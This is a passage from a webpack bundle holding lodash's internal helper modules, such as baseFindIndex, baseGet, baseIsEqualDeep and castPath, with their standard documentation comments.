{Function} predicate The function invoked per iteration. * @returns {Array} Returns the new filtered array. */ function baseFilter(collection, predicate) { var result = []; baseEach(collection, function (value, index, collection) { if (predicate(value, index, collection)) { result.push(value); } }); return result; } module.exports = baseFilter; /***/ }, /***/ "./node_modules/lodash/_baseFindIndex.js": /*!***********************************************!*\ !*** ./node_modules/lodash/_baseFindIndex.js ***! \***********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseFindIndexJs(module, exports) { /** * The base implementation of `_.findIndex` and `_.findLastIndex` without * support for iteratee shorthands. * * @private * @param {Array} array The array to inspect. * @param {Function} predicate The function invoked per iteration. * @param {number} fromIndex The index to search from. * @param {boolean} [fromRight] Specify iterating from right to left. * @returns {number} Returns the index of the matched value, else `-1`. */ function baseFindIndex(array, predicate, fromIndex, fromRight) { var length = array.length, index = fromIndex + (fromRight ? 1 : -1); while (fromRight ? index-- : ++index < length) { if (predicate(array[index], index, array)) { return index; } } return -1; } module.exports = baseFindIndex; /***/ }, /***/ "./node_modules/lodash/_baseFor.js": /*!*****************************************!*\ !*** ./node_modules/lodash/_baseFor.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseForJs(module, exports, __webpack_require__) { var createBaseFor = __webpack_require__( /*! ./_createBaseFor */ "./node_modules/lodash/_createBaseFor.js"); /** * The base implementation of `baseForOwn` which iterates over `object` * properties returned by `keysFunc` and invokes `iteratee` for each property. * Iteratee functions may exit iteration early by explicitly returning `false`. * * @private * @param {Object} object The object to iterate over. * @param {Function} iteratee The function invoked per iteration. * @param {Function} keysFunc The function to get the keys of `object`. * @returns {Object} Returns `object`. */ var baseFor = createBaseFor(); module.exports = baseFor; /***/ }, /***/ "./node_modules/lodash/_baseForOwn.js": /*!********************************************!*\ !*** ./node_modules/lodash/_baseForOwn.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseForOwnJs(module, exports, __webpack_require__) { var baseFor = __webpack_require__( /*! ./_baseFor */ "./node_modules/lodash/_baseFor.js"), keys = __webpack_require__( /*! ./keys */ "./node_modules/lodash/keys.js"); /** * The base implementation of `_.forOwn` without support for iteratee shorthands. * * @private * @param {Object} object The object to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Object} Returns `object`. */ function baseForOwn(object, iteratee) { return object && baseFor(object, iteratee, keys); } module.exports = baseForOwn; /***/ }, /***/ "./node_modules/lodash/_baseGet.js": /*!*****************************************!*\ !*** ./node_modules/lodash/_baseGet.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseGetJs(module, exports, __webpack_require__) { var castPath = __webpack_require__( /*! ./_castPath */ "./node_modules/lodash/_castPath.js"), toKey = __webpack_require__( /*! ./_toKey */ "./node_modules/lodash/_toKey.js"); /** * The base implementation of `_.get` without support for default values. * * @private * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @returns {*} Returns the resolved value. */ function baseGet(object, path) { path = castPath(path, object); var index = 0, length = path.length; while (object != null && index < length) { object = object[toKey(path[index++])]; } return index && index == length ? object : undefined; } module.exports = baseGet; /***/ }, /***/ "./node_modules/lodash/_baseGetAllKeys.js": /*!************************************************!*\ !*** ./node_modules/lodash/_baseGetAllKeys.js ***! \************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseGetAllKeysJs(module, exports, __webpack_require__) { var arrayPush = __webpack_require__( /*! ./_arrayPush */ "./node_modules/lodash/_arrayPush.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"); /** * The base implementation of `getAllKeys` and `getAllKeysIn` which uses * `keysFunc` and `symbolsFunc` to get the enumerable property names and * symbols of `object`. * * @private * @param {Object} object The object to query. * @param {Function} keysFunc The function to get the keys of `object`. * @param {Function} symbolsFunc The function to get the symbols of `object`. * @returns {Array} Returns the array of property names and symbols. */ function baseGetAllKeys(object, keysFunc, symbolsFunc) { var result = keysFunc(object); return isArray(object) ? result : arrayPush(result, symbolsFunc(object)); } module.exports = baseGetAllKeys; /***/ }, /***/ "./node_modules/lodash/_baseGetTag.js": /*!********************************************!*\ !*** ./node_modules/lodash/_baseGetTag.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseGetTagJs(module, exports, __webpack_require__) { var _Symbol2 = __webpack_require__( /*! ./_Symbol */ "./node_modules/lodash/_Symbol.js"), getRawTag = __webpack_require__( /*! ./_getRawTag */ "./node_modules/lodash/_getRawTag.js"), objectToString = __webpack_require__( /*! ./_objectToString */ "./node_modules/lodash/_objectToString.js"); /** `Object#toString` result references. */ var nullTag = '[object Null]', undefinedTag = '[object Undefined]'; /** Built-in value references. */ var symToStringTag = _Symbol2 ? _Symbol2.toStringTag : undefined; /** * The base implementation of `getTag` without fallbacks for buggy environments. * * @private * @param {*} value The value to query. * @returns {string} Returns the `toStringTag`. */ function baseGetTag(value) { if (value == null) { return value === undefined ? undefinedTag : nullTag; } return symToStringTag && symToStringTag in Object(value) ? getRawTag(value) : objectToString(value); } module.exports = baseGetTag; /***/ }, /***/ "./node_modules/lodash/_baseHasIn.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_baseHasIn.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseHasInJs(module, exports) { /** * The base implementation of `_.hasIn` without support for deep paths. * * @private * @param {Object} [object] The object to query. * @param {Array|string} key The key to check. * @returns {boolean} Returns `true` if `key` exists, else `false`. */ function baseHasIn(object, key) { return object != null && key in Object(object); } module.exports = baseHasIn; /***/ }, /***/ "./node_modules/lodash/_baseIndexOf.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_baseIndexOf.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIndexOfJs(module, exports, __webpack_require__) { var baseFindIndex = __webpack_require__( /*! ./_baseFindIndex */ "./node_modules/lodash/_baseFindIndex.js"), baseIsNaN = __webpack_require__( /*! ./_baseIsNaN */ "./node_modules/lodash/_baseIsNaN.js"), strictIndexOf = __webpack_require__( /*! ./_strictIndexOf */ "./node_modules/lodash/_strictIndexOf.js"); /** * The base implementation of `_.indexOf` without `fromIndex` bounds checks. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */ function baseIndexOf(array, value, fromIndex) { return value === value ? strictIndexOf(array, value, fromIndex) : baseFindIndex(array, baseIsNaN, fromIndex); } module.exports = baseIndexOf; /***/ }, /***/ "./node_modules/lodash/_baseIsArguments.js": /*!*************************************************!*\ !*** ./node_modules/lodash/_baseIsArguments.js ***! \*************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsArgumentsJs(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__( /*! ./_baseGetTag */ "./node_modules/lodash/_baseGetTag.js"), isObjectLike = __webpack_require__( /*! ./isObjectLike */ "./node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var argsTag = '[object Arguments]'; /** * The base implementation of `_.isArguments`. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, */ function baseIsArguments(value) { return isObjectLike(value) && baseGetTag(value) == argsTag; } module.exports = baseIsArguments; /***/ }, /***/ "./node_modules/lodash/_baseIsEqual.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_baseIsEqual.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsEqualJs(module, exports, __webpack_require__) { var baseIsEqualDeep = __webpack_require__( /*! ./_baseIsEqualDeep */ "./node_modules/lodash/_baseIsEqualDeep.js"), isObjectLike = __webpack_require__( /*! ./isObjectLike */ "./node_modules/lodash/isObjectLike.js"); /** * The base implementation of `_.isEqual` which supports partial comparisons * and tracks traversed objects. * * @private * @param {*} value The value to compare. * @param {*} other The other value to compare. * @param {boolean} bitmask The bitmask flags. * 1 - Unordered comparison * 2 - Partial comparison * @param {Function} [customizer] The function to customize comparisons. * @param {Object} [stack] Tracks traversed `value` and `other` objects. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. */ function baseIsEqual(value, other, bitmask, customizer, stack) { if (value === other) { return true; } if (value == null || other == null || !isObjectLike(value) && !isObjectLike(other)) { return value !== value && other !== other; } return baseIsEqualDeep(value, other, bitmask, customizer, baseIsEqual, stack); } module.exports = baseIsEqual; /***/ }, /***/ "./node_modules/lodash/_baseIsEqualDeep.js": /*!*************************************************!*\ !*** ./node_modules/lodash/_baseIsEqualDeep.js ***! \*************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsEqualDeepJs(module, exports, __webpack_require__) { var Stack = __webpack_require__( /*! ./_Stack */ "./node_modules/lodash/_Stack.js"), equalArrays = __webpack_require__( /*! ./_equalArrays */ "./node_modules/lodash/_equalArrays.js"), equalByTag = __webpack_require__( /*! ./_equalByTag */ "./node_modules/lodash/_equalByTag.js"), equalObjects = __webpack_require__( /*! ./_equalObjects */ "./node_modules/lodash/_equalObjects.js"), getTag = __webpack_require__( /*! ./_getTag */ "./node_modules/lodash/_getTag.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), isBuffer = __webpack_require__( /*! ./isBuffer */ "./node_modules/lodash/isBuffer.js"), isTypedArray = __webpack_require__( /*! ./isTypedArray */ "./node_modules/lodash/isTypedArray.js"); /** Used to compose bitmasks for value comparisons. */ var COMPARE_PARTIAL_FLAG = 1; /** `Object#toString` result references. */ var argsTag = '[object Arguments]', arrayTag = '[object Array]', objectTag = '[object Object]'; /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * A specialized version of `baseIsEqual` for arrays and objects which performs * deep comparisons and tracks traversed objects enabling objects with circular * references to be compared. * * @private * @param {Object} object The object to compare. * @param {Object} other The other object to compare. * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details. * @param {Function} customizer The function to customize comparisons. * @param {Function} equalFunc The function to determine equivalents of values. * @param {Object} [stack] Tracks traversed `object` and `other` objects. * @returns {boolean} Returns `true` if the objects are equivalent, else `false`. */ function baseIsEqualDeep(object, other, bitmask, customizer, equalFunc, stack) { var objIsArr = isArray(object), othIsArr = isArray(other), objTag = objIsArr ? arrayTag : getTag(object), othTag = othIsArr ? arrayTag : getTag(other); objTag = objTag == argsTag ? objectTag : objTag; othTag = othTag == argsTag ? objectTag : othTag; var objIsObj = objTag == objectTag, othIsObj = othTag == objectTag, isSameTag = objTag == othTag; if (isSameTag && isBuffer(object)) { if (!isBuffer(other)) { return false; } objIsArr = true; objIsObj = false; } if (isSameTag && !objIsObj) { stack || (stack = new Stack()); return objIsArr || isTypedArray(object) ? equalArrays(object, other, bitmask, customizer, equalFunc, stack) : equalByTag(object, other, objTag, bitmask, customizer, equalFunc, stack); } if (!(bitmask & COMPARE_PARTIAL_FLAG)) { var objIsWrapped = objIsObj && hasOwnProperty.call(object, '__wrapped__'), othIsWrapped = othIsObj && hasOwnProperty.call(other, '__wrapped__'); if (objIsWrapped || othIsWrapped) { var objUnwrapped = objIsWrapped ? object.value() : object, othUnwrapped = othIsWrapped ? other.value() : other; stack || (stack = new Stack()); return equalFunc(objUnwrapped, othUnwrapped, bitmask, customizer, stack); } } if (!isSameTag) { return false; } stack || (stack = new Stack()); return equalObjects(object, other, bitmask, customizer, equalFunc, stack); } module.exports = baseIsEqualDeep; /***/ }, /***/ "./node_modules/lodash/_baseIsMatch.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_baseIsMatch.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsMatchJs(module, exports, __webpack_require__) { var Stack = __webpack_require__( /*! ./_Stack */ "./node_modules/lodash/_Stack.js"), baseIsEqual = __webpack_require__( /*! ./_baseIsEqual */ "./node_modules/lodash/_baseIsEqual.js"); /** Used to compose bitmasks for value comparisons. */ var COMPARE_PARTIAL_FLAG = 1, COMPARE_UNORDERED_FLAG = 2; /** * The base implementation of `_.isMatch` without support for iteratee shorthands. * * @private * @param {Object} object The object to inspect. * @param {Object} source The object of property values to match. * @param {Array} matchData The property names, values, and compare flags to match. * @param {Function} [customizer] The function to customize comparisons. * @returns {boolean} Returns `true` if `object` is a match, else `false`. */ function baseIsMatch(object, source, matchData, customizer) { var index = matchData.length, length = index, noCustomizer = !customizer; if (object == null) { return !length; } object = Object(object); while (index--) { var data = matchData[index]; if (noCustomizer && data[2] ? data[1] !== object[data[0]] : !(data[0] in object)) { return false; } } while (++index < length) { data = matchData[index]; var key = data[0], objValue = object[key], srcValue = data[1]; if (noCustomizer && data[2]) { if (objValue === undefined && !(key in object)) { return false; } } else { var stack = new Stack(); if (customizer) { var result = customizer(objValue, srcValue, key, object, source, stack); } if (!(result === undefined ? baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG, customizer, stack) : result)) { return false; } } } return true; } module.exports = baseIsMatch; /***/ }, /***/ "./node_modules/lodash/_baseIsNaN.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_baseIsNaN.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsNaNJs(module, exports) { /** * The base implementation of `_.isNaN` without support for number objects. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`. */ function baseIsNaN(value) { return value !== value; } module.exports = baseIsNaN; /***/ }, /***/ "./node_modules/lodash/_baseIsNative.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_baseIsNative.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsNativeJs(module, exports, __webpack_require__) { var isFunction = __webpack_require__( /*! ./isFunction */ "./node_modules/lodash/isFunction.js"), isMasked = __webpack_require__( /*! ./_isMasked */ "./node_modules/lodash/_isMasked.js"), isObject = __webpack_require__( /*! ./isObject */ "./node_modules/lodash/isObject.js"), toSource = __webpack_require__( /*! ./_toSource */ "./node_modules/lodash/_toSource.js"); /** * Used to match `RegExp` * [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns). */ var reRegExpChar = /[\\^$.*+?()[\]{}|]/g; /** Used to detect host constructors (Safari). */ var reIsHostCtor = /^\[object .+?Constructor\]$/; /** Used for built-in method references. */ var funcProto = Function.prototype, objectProto = Object.prototype; /** Used to resolve the decompiled source of functions. */ var funcToString = funcProto.toString; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Used to detect if a method is native. */ var reIsNative = RegExp('^' + funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&').replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$'); /** * The base implementation of `_.isNative` without bad shim checks. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a native function, * else `false`. */ function baseIsNative(value) { if (!isObject(value) || isMasked(value)) { return false; } var pattern = isFunction(value) ? reIsNative : reIsHostCtor; return pattern.test(toSource(value)); } module.exports = baseIsNative; /***/ }, /***/ "./node_modules/lodash/_baseIsTypedArray.js": /*!**************************************************!*\ !*** ./node_modules/lodash/_baseIsTypedArray.js ***! \**************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIsTypedArrayJs(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__( /*! ./_baseGetTag */ "./node_modules/lodash/_baseGetTag.js"), isLength = __webpack_require__( /*! ./isLength */ "./node_modules/lodash/isLength.js"), isObjectLike = __webpack_require__( /*! ./isObjectLike */ "./node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var argsTag = '[object Arguments]', arrayTag = '[object Array]', boolTag = '[object Boolean]', dateTag = '[object Date]', errorTag = '[object Error]', funcTag = '[object Function]', mapTag = '[object Map]', numberTag = '[object Number]', objectTag = '[object Object]', regexpTag = '[object RegExp]', setTag = '[object Set]', stringTag = '[object String]', weakMapTag = '[object WeakMap]'; var arrayBufferTag = '[object ArrayBuffer]', dataViewTag = '[object DataView]', float32Tag = '[object Float32Array]', float64Tag = '[object Float64Array]', int8Tag = '[object Int8Array]', int16Tag = '[object Int16Array]', int32Tag = '[object Int32Array]', uint8Tag = '[object Uint8Array]', uint8ClampedTag = '[object Uint8ClampedArray]', uint16Tag = '[object Uint16Array]', uint32Tag = '[object Uint32Array]'; /** Used to identify `toStringTag` values of typed arrays. */ var typedArrayTags = {}; typedArrayTags[float32Tag] = typedArrayTags[float64Tag] = typedArrayTags[int8Tag] = typedArrayTags[int16Tag] = typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] = typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] = typedArrayTags[uint32Tag] = true; typedArrayTags[argsTag] = typedArrayTags[arrayTag] = typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] = typedArrayTags[dataViewTag] = typedArrayTags[dateTag] = typedArrayTags[errorTag] = typedArrayTags[funcTag] = typedArrayTags[mapTag] = typedArrayTags[numberTag] = typedArrayTags[objectTag] = typedArrayTags[regexpTag] = typedArrayTags[setTag] = typedArrayTags[stringTag] = typedArrayTags[weakMapTag] = false; /** * The base implementation of `_.isTypedArray` without Node.js optimizations. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. */ function baseIsTypedArray(value) { return isObjectLike(value) && isLength(value.length) && !!typedArrayTags[baseGetTag(value)]; } module.exports = baseIsTypedArray; /***/ }, /***/ "./node_modules/lodash/_baseIteratee.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_baseIteratee.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseIterateeJs(module, exports, __webpack_require__) { var baseMatches = __webpack_require__( /*! ./_baseMatches */ "./node_modules/lodash/_baseMatches.js"), baseMatchesProperty = __webpack_require__( /*! ./_baseMatchesProperty */ "./node_modules/lodash/_baseMatchesProperty.js"), identity = __webpack_require__( /*! ./identity */ "./node_modules/lodash/identity.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), property = __webpack_require__( /*! ./property */ "./node_modules/lodash/property.js"); /** * The base implementation of `_.iteratee`. * * @private * @param {*} [value=_.identity] The value to convert to an iteratee. * @returns {Function} Returns the iteratee. */ function baseIteratee(value) { // Don't store the `typeof` result in a variable to avoid a JIT bug in Safari 9. // See https://bugs.webkit.org/show_bug.cgi?id=156034 for more details. if (typeof value == 'function') { return value; } if (value == null) { return identity; } if (_typeof2(value) == 'object') { return isArray(value) ? baseMatchesProperty(value[0], value[1]) : baseMatches(value); } return property(value); } module.exports = baseIteratee; /***/ }, /***/ "./node_modules/lodash/_baseKeys.js": /*!******************************************!*\ !*** ./node_modules/lodash/_baseKeys.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseKeysJs(module, exports, __webpack_require__) { var isPrototype = __webpack_require__( /*! ./_isPrototype */ "./node_modules/lodash/_isPrototype.js"), nativeKeys = __webpack_require__( /*! ./_nativeKeys */ "./node_modules/lodash/_nativeKeys.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * The base implementation of `_.keys` which doesn't treat sparse arrays as dense. * * @private * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. */ function baseKeys(object) { if (!isPrototype(object)) { return nativeKeys(object); } var result = []; for (var key in Object(object)) { if (hasOwnProperty.call(object, key) && key != 'constructor') { result.push(key); } } return result; } module.exports = baseKeys; /***/ }, /***/ "./node_modules/lodash/_baseMatches.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_baseMatches.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseMatchesJs(module, exports, __webpack_require__) { var baseIsMatch = __webpack_require__( /*! ./_baseIsMatch */ "./node_modules/lodash/_baseIsMatch.js"), getMatchData = __webpack_require__( /*! ./_getMatchData */ "./node_modules/lodash/_getMatchData.js"), matchesStrictComparable = __webpack_require__( /*! ./_matchesStrictComparable */ "./node_modules/lodash/_matchesStrictComparable.js"); /** * The base implementation of `_.matches` which doesn't clone `source`. * * @private * @param {Object} source The object of property values to match. * @returns {Function} Returns the new spec function. */ function baseMatches(source) { var matchData = getMatchData(source); if (matchData.length == 1 && matchData[0][2]) { return matchesStrictComparable(matchData[0][0], matchData[0][1]); } return function (object) { return object === source || baseIsMatch(object, source, matchData); }; } module.exports = baseMatches; /***/ }, /***/ "./node_modules/lodash/_baseMatchesProperty.js": /*!*****************************************************!*\ !*** ./node_modules/lodash/_baseMatchesProperty.js ***! \*****************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseMatchesPropertyJs(module, exports, __webpack_require__) { var baseIsEqual = __webpack_require__( /*! ./_baseIsEqual */ "./node_modules/lodash/_baseIsEqual.js"), get = __webpack_require__( /*! ./get */ "./node_modules/lodash/get.js"), hasIn = __webpack_require__( /*! ./hasIn */ "./node_modules/lodash/hasIn.js"), isKey = __webpack_require__( /*! ./_isKey */ "./node_modules/lodash/_isKey.js"), isStrictComparable = __webpack_require__( /*! ./_isStrictComparable */ "./node_modules/lodash/_isStrictComparable.js"), matchesStrictComparable = __webpack_require__( /*! ./_matchesStrictComparable */ "./node_modules/lodash/_matchesStrictComparable.js"), toKey = __webpack_require__( /*! ./_toKey */ "./node_modules/lodash/_toKey.js"); /** Used to compose bitmasks for value comparisons. */ var COMPARE_PARTIAL_FLAG = 1, COMPARE_UNORDERED_FLAG = 2; /** * The base implementation of `_.matchesProperty` which doesn't clone `srcValue`. * * @private * @param {string} path The path of the property to get. * @param {*} srcValue The value to match. * @returns {Function} Returns the new spec function. */ function baseMatchesProperty(path, srcValue) { if (isKey(path) && isStrictComparable(srcValue)) { return matchesStrictComparable(toKey(path), srcValue); } return function (object) { var objValue = get(object, path); return objValue === undefined && objValue === srcValue ? hasIn(object, path) : baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG); }; } module.exports = baseMatchesProperty; /***/ }, /***/ "./node_modules/lodash/_baseProperty.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_baseProperty.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_basePropertyJs(module, exports) { /** * The base implementation of `_.property` without support for deep paths. * * @private * @param {string} key The key of the property to get. * @returns {Function} Returns the new accessor function. */ function baseProperty(key) { return function (object) { return object == null ? undefined : object[key]; }; } module.exports = baseProperty; /***/ }, /***/ "./node_modules/lodash/_basePropertyDeep.js": /*!**************************************************!*\ !*** ./node_modules/lodash/_basePropertyDeep.js ***! \**************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_basePropertyDeepJs(module, exports, __webpack_require__) { var baseGet = __webpack_require__( /*! ./_baseGet */ "./node_modules/lodash/_baseGet.js"); /** * A specialized version of `baseProperty` which supports deep paths. * * @private * @param {Array|string} path The path of the property to get. * @returns {Function} Returns the new accessor function. */ function basePropertyDeep(path) { return function (object) { return baseGet(object, path); }; } module.exports = basePropertyDeep; /***/ }, /***/ "./node_modules/lodash/_baseTimes.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_baseTimes.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseTimesJs(module, exports) { /** * The base implementation of `_.times` without support for iteratee shorthands * or max array length checks. * * @private * @param {number} n The number of times to invoke `iteratee`. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the array of results. */ function baseTimes(n, iteratee) { var index = -1, result = Array(n); while (++index < n) { result[index] = iteratee(index); } return result; } module.exports = baseTimes; /***/ }, /***/ "./node_modules/lodash/_baseToString.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_baseToString.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseToStringJs(module, exports, __webpack_require__) { var _Symbol3 = __webpack_require__( /*! ./_Symbol */ "./node_modules/lodash/_Symbol.js"), arrayMap = __webpack_require__( /*! ./_arrayMap */ "./node_modules/lodash/_arrayMap.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), isSymbol = __webpack_require__( /*! ./isSymbol */ "./node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0; /** Used to convert symbols to primitives and strings. */ var symbolProto = _Symbol3 ? _Symbol3.prototype : undefined, symbolToString = symbolProto ? symbolProto.toString : undefined; /** * The base implementation of `_.toString` which doesn't convert nullish * values to empty strings. * * @private * @param {*} value The value to process. * @returns {string} Returns the string. */ function baseToString(value) { // Exit early for strings to avoid a performance hit in some environments. if (typeof value == 'string') { return value; } if (isArray(value)) { // Recursively convert values (susceptible to call stack limits). return arrayMap(value, baseToString) + ''; } if (isSymbol(value)) { return symbolToString ? symbolToString.call(value) : ''; } var result = value + ''; return result == '0' && 1 / value == -INFINITY ? '-0' : result; } module.exports = baseToString; /***/ }, /***/ "./node_modules/lodash/_baseTrim.js": /*!******************************************!*\ !*** ./node_modules/lodash/_baseTrim.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseTrimJs(module, exports, __webpack_require__) { var trimmedEndIndex = __webpack_require__( /*! ./_trimmedEndIndex */ "./node_modules/lodash/_trimmedEndIndex.js"); /** Used to match leading whitespace. */ var reTrimStart = /^\s+/; /** * The base implementation of `_.trim`. * * @private * @param {string} string The string to trim. * @returns {string} Returns the trimmed string. */ function baseTrim(string) { return string ? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '') : string; } module.exports = baseTrim; /***/ }, /***/ "./node_modules/lodash/_baseUnary.js": /*!*******************************************!*\ !*** ./node_modules/lodash/_baseUnary.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseUnaryJs(module, exports) { /** * The base implementation of `_.unary` without support for storing metadata. * * @private * @param {Function} func The function to cap arguments for. * @returns {Function} Returns the new capped function. */ function baseUnary(func) { return function (value) { return func(value); }; } module.exports = baseUnary; /***/ }, /***/ "./node_modules/lodash/_baseValues.js": /*!********************************************!*\ !*** ./node_modules/lodash/_baseValues.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_baseValuesJs(module, exports, __webpack_require__) { var arrayMap = __webpack_require__( /*! ./_arrayMap */ "./node_modules/lodash/_arrayMap.js"); /** * The base implementation of `_.values` and `_.valuesIn` which creates an * array of `object` property values corresponding to the property names * of `props`. * * @private * @param {Object} object The object to query. * @param {Array} props The property names to get values for. * @returns {Object} Returns the array of property values. */ function baseValues(object, props) { return arrayMap(props, function (key) { return object[key]; }); } module.exports = baseValues; /***/ }, /***/ "./node_modules/lodash/_cacheHas.js": /*!******************************************!*\ !*** ./node_modules/lodash/_cacheHas.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_cacheHasJs(module, exports) { /** * Checks if a `cache` value for `key` exists. * * @private * @param {Object} cache The cache to query. * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function cacheHas(cache, key) { return cache.has(key); } module.exports = cacheHas; /***/ }, /***/ "./node_modules/lodash/_castFunction.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_castFunction.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_castFunctionJs(module, exports, __webpack_require__) { var identity = __webpack_require__( /*! ./identity */ "./node_modules/lodash/identity.js"); /** * Casts `value` to `identity` if it's not a function. * * @private * @param {*} value The value to inspect. * @returns {Function} Returns cast function. */ function castFunction(value) { return typeof value == 'function' ? value : identity; } module.exports = castFunction; /***/ }, /***/ "./node_modules/lodash/_castPath.js": /*!******************************************!*\ !*** ./node_modules/lodash/_castPath.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_castPathJs(module, exports, __webpack_require__) { var isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), isKey = __webpack_require__( /*! ./_isKey */ "./node_modules/lodash/_isKey.js"), stringToPath = __webpack_require__( /*! ./_stringToPath */ "./node_modules/lodash/_stringToPath.js"), toString = __webpack_require__( /*! ./toString */ "./node_modules/lodash/toString.js"); /** * Casts `value` to a path array if it's not one. * * @private * @param {*} value The value to inspect. * @param {Object} [object] The object to query keys on. * @returns {Array} Returns the cast property path array. */ function castPath(value, object) { if (isArray(value)) { return value; } return isKey(value, object) ? [value] : stringToPath(toString(value)); } module.exports = castPath; /***/ }, /***/ "./node_modules/lodash/_coreJsData.js": /*!********************************************!*\ !*** ./node_modules/lodash/_coreJsData.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_coreJsDataJs(module, exports, __webpack_require__) { var root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"); /** Used to detect overreaching core-js shims. */ var coreJsData = root['__core-js_shared__']; module.exports = coreJsData; /***/ }, /***/ "./node_modules/lodash/_createBaseEach.js": /*!************************************************!*\ !*** ./node_modules/lodash/_createBaseEach.js ***! \************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_createBaseEachJs(module, exports, __webpack_require__) { var isArrayLike = __webpack_require__( /*! ./isArrayLike */ "./node_modules/lodash/isArrayLike.js"); /** * Creates a `baseEach` or `baseEachRight` function. * * @private * @param {Function} eachFunc The function to iterate over a collection. * @param {boolean} [fromRight] Specify iterating from right to left. * @returns {Function} Returns the new base function. */ function createBaseEach(eachFunc, fromRight) { return function (collection, iteratee) { if (collection == null) { return collection; } if (!isArrayLike(collection)) { return eachFunc(collection, iteratee); } var length = collection.length, index = fromRight ? length : -1, iterable = Object(collection); while (fromRight ? index-- : ++index < length) { if (iteratee(iterable[index], index, iterable) === false) { break; } } return collection; }; } module.exports = createBaseEach; /***/ }, /***/ "./node_modules/lodash/_createBaseFor.js": /*!***********************************************!*\ !*** ./node_modules/lodash/_createBaseFor.js ***! \***********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_createBaseForJs(module, exports) { /** * Creates a base function for methods 